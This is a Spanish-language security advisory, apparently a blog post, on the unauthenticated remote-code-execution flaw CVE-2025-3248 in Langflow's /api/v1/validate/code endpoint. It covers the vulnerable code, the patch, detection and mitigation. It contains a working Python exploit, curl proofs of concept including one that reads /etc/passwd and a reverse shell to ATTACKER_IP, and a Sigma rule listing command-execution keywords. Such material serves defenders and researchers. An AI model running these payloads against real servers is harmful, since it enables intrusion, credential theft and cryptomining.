Inicializando interfaz segura...0%
mem: 0x0000pid: 1000
SYSTEM ONLINE

v2.0.4 // SECURE

~ / intel / langflow-rce-cve-2025-3248.es.md

Langflow RCE (CVE-2025-3248)

6 de mayo de 2025 | CVE-2025-3248
#rce #critical #ai

Resumen Ejecutivo

CVE-2025-3248 es una vulnerabilidad crítica de ejecución remota de código (RCE) sin autenticación en Langflow, la popular plataforma open-source para construir flujos de IA con LLMs. Con un CVSS de 9.8, permite a cualquier atacante ejecutar código Python arbitrario en el servidor a través del endpoint /api/v1/validate/code, que usa exec() sin ningún tipo de sanitización ni autenticación. Ha sido añadida al catálogo CISA KEV por explotación activa confirmada.

CampoDetalle
CVECVE-2025-3248
CVSS9.8 (Crítico)
TipoInyección de código / RCE
VectorRed / Sin autenticación
AfectaLangflow < 1.3.0
Parcheado enLangflow 1.3.0

¿Qué es Langflow?

Langflow es una herramienta visual de bajo código para construir aplicaciones de IA utilizando modelos de lenguaje (LLMs). Permite a ingenieros de datos y desarrolladores crear pipelines de IA arrastrando y soltando componentes. Su popularidad ha crecido exponencialmente en el ecosistema de IA generativa, lo que la convierte en un objetivo muy atractivo.

El problema es que Langflow expone un endpoint de validación de código que, en versiones anteriores a 1.3.0, no requiere autenticación y ejecuta directamente el código enviado.


Análisis Técnico de la Vulnerabilidad

El endpoint vulnerable: /api/v1/validate/code

Langflow incluye una funcionalidad que permite a los usuarios validar fragmentos de código Python personalizados para sus componentes. Este endpoint utiliza internamente la función exec() de Python sobre el código proporcionado por el usuario.

Código vulnerable real

# langflow/api/v1/validate.py (versiones < 1.3.0)
from fastapi import APIRouter

router = APIRouter()

@router.post("/validate/code")
async def validate_code(code_request: CodeRequest):
    """
    Valida el código del usuario parseando el AST.
    ❌ SIN DECORADOR DE AUTENTICACIÓN — cualquier usuario puede acceder
    """
    code = code_request.code
    
    try:
        # Parsea el código en un AST (Abstract Syntax Tree)
        tree = ast.parse(code)
        
        # ❌ VULNERABLE: exec() ejecuta el código directamente
        # sin sandboxing ni validación de seguridad
        exec(code, {"__builtins__": __builtins__}, {})
        
        return {"valid": True, "message": "Code is valid"}
    except SyntaxError as e:
        return {"valid": False, "message": str(e)}

¿Por qué los decoradores y argumentos por defecto son la clave?

El matiz técnico más interesante de esta vulnerabilidad es cómo se ejecuta el código. Python evalúa ciertos elementos durante la definición de la función, antes de que la función sea invocada:

1. Ejecución vía decoradores

# Los decoradores se ejecutan INMEDIATAMENTE al parsear la definición
import os

def malicious_decorator(func):
    os.system("id")  # ← Se ejecuta al definir la función
    return func

@malicious_decorator  # ← Ejecutado durante ast.parse + exec
def innocent_function():
    pass

2. Ejecución vía argumentos por defecto

# Los valores por defecto se evalúan al DEFINIR la función
import subprocess

def innocent_function(
    x=subprocess.check_output(["cat", "/etc/passwd"])  # ← RCE
):
    pass

Ambos vectores permiten ejecutar código arbitrario antes de que la función sea llamada, simplemente al ser procesada por exec().


Proof of Concept (PoC)

Exploit Python

#!/usr/bin/env python3
"""
Langflow RCE PoC — CVE-2025-3248
Ejecución de código vía /api/v1/validate/code
SOLO PARA FINES EDUCATIVOS
"""
import requests
import sys
import json

def exploit(target_url, command="id"):
    endpoint = f"{target_url.rstrip('/')}/api/v1/validate/code"
    
    # Payload que abusa de decoradores para ejecutar comandos
    malicious_code = f'''
import subprocess
import os

def rce_decorator(func):
    result = subprocess.check_output("{command}", shell=True)
    print(result.decode())
    return func

@rce_decorator
def validate_this():
    pass
'''
    
    payload = {"code": malicious_code}
    
    print(f"[*] Enviando payload a: {endpoint}")
    print(f"[*] Comando: {command}")
    
    try:
        response = requests.post(
            endpoint,
            json=payload,
            headers={"Content-Type": "application/json"},
            timeout=10
        )
        print(f"[+] Status: {response.status_code}")
        print(f"[+] Respuesta: {json.dumps(response.json(), indent=2)}")
    except requests.exceptions.RequestException as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Uso: {sys.argv[0]} <URL_LANGFLOW> [comando]")
        print(f"Ejemplo: {sys.argv[0]} http://target.com id")
        sys.exit(1)
    
    target = sys.argv[1]
    cmd = sys.argv[2] if len(sys.argv) > 2 else "id"
    exploit(target, cmd)

Exploit vía cURL

# PoC mínimo con argumento por defecto malicioso
curl -X POST "http://target.com/api/v1/validate/code" \
  -H "Content-Type: application/json" \
  -d '{
    "code": "import os\ndef x(cmd=os.system(\"id\")):\n    pass"
  }'

Reverse shell

# ⚠️ SOLO EN ENTORNOS AUTORIZADOS
curl -X POST "http://target.com/api/v1/validate/code" \
  -H "Content-Type: application/json" \
  -d '{
    "code": "import os\ndef x(cmd=os.system(\"bash -c '\''bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'\''\")):\ n    pass"
  }'

Detección

Indicadores de compromiso

# Buscar peticiones POST al endpoint vulnerable
grep "POST /api/v1/validate/code" access.log

# Buscar payloads con imports sospechosos
grep -E "(os\.system|subprocess|exec|eval|__import__)" access.log

# Verificar procesos hijos inesperados del proceso Langflow
ps aux | grep -E "(langflow|uvicorn)" | head -5
pstree -p $(pgrep -f langflow)

Regla Sigma

title: Langflow CVE-2025-3248 RCE Attempt
id: a1b2c3d4-e5f6-7890-abcd-ef1234567890
status: experimental
description: Detecta intentos de explotación de CVE-2025-3248 vía el endpoint de validación
logsource:
    category: webserver
    product: any
detection:
    selection_endpoint:
        cs-uri-stem|contains: "/api/v1/validate/code"
        cs-method: "POST"
    selection_payload:
        cs-body|contains:
            - "os.system"
            - "subprocess"
            - "exec("
            - "__import__"
            - "child_process"
            - "reverse_tcp"
    condition: selection_endpoint and selection_payload
level: critical
tags:
    - cve.2025.3248
    - attack.execution
    - attack.t1059

Actividad de explotación real

La CISA añadió CVE-2025-3248 a su catálogo Known Exploited Vulnerabilities (KEV) confirmando explotación activa. Se han observado:

  • 🤖 Botnet Flodrix: Despliegue de malware automatizado en instancias Langflow expuestas
  • 🔑 Robo de credenciales: Extracción de API keys de OpenAI, Anthropic y otros LLMs configurados
  • 🖥️ Criptominería: Uso de recursos de GPU/CPU de servidores de IA para minado
  • 📊 Exfiltración de datos: Robo de datos de entrenamiento y prompts corporativos

Análisis del parche (v1.3.0)

El parche es conceptualmente simple pero efectivo:

# langflow/api/v1/validate.py

+ from langflow.services.auth import get_current_user
+ from fastapi import Depends

  @router.post("/validate/code")
- async def validate_code(code_request: CodeRequest):
+ async def validate_code(
+     code_request: CodeRequest,
+     current_user: User = Depends(get_current_user)  # ← Requiere auth
+ ):
      code = code_request.code
      # ... resto de la validación

La corrección coloca el endpoint detrás de autenticación, requiriendo una sesión de usuario válida. Sin embargo, esto no elimina el uso de exec() — el riesgo se reduce pero no se elimina completamente para usuarios autenticados.


Mitigación

Inmediata

  1. Actualizar Langflow a la versión 1.3.0 o superior
  2. Restringir acceso de red a instancias Langflow — no exponer a Internet
  3. Rotar API keys de todos los LLMs configurados si la instancia estuvo expuesta

Recomendaciones adicionales

# Verificar si tienes Langflow expuesto
nmap -p 7860 --open -sV target-range

# Buscar instancias en Shodan
# shodan search "langflow" --fields ip_str,port,org

Arquitectura segura

  • Desplegar Langflow detrás de un reverse proxy con autenticación
  • Usar network segmentation para aislar instancias de IA
  • Implementar monitoring de llamadas al endpoint /api/v1/validate/code
  • Considerar usar contenedores con privilegios mínimos (no root)

Referencias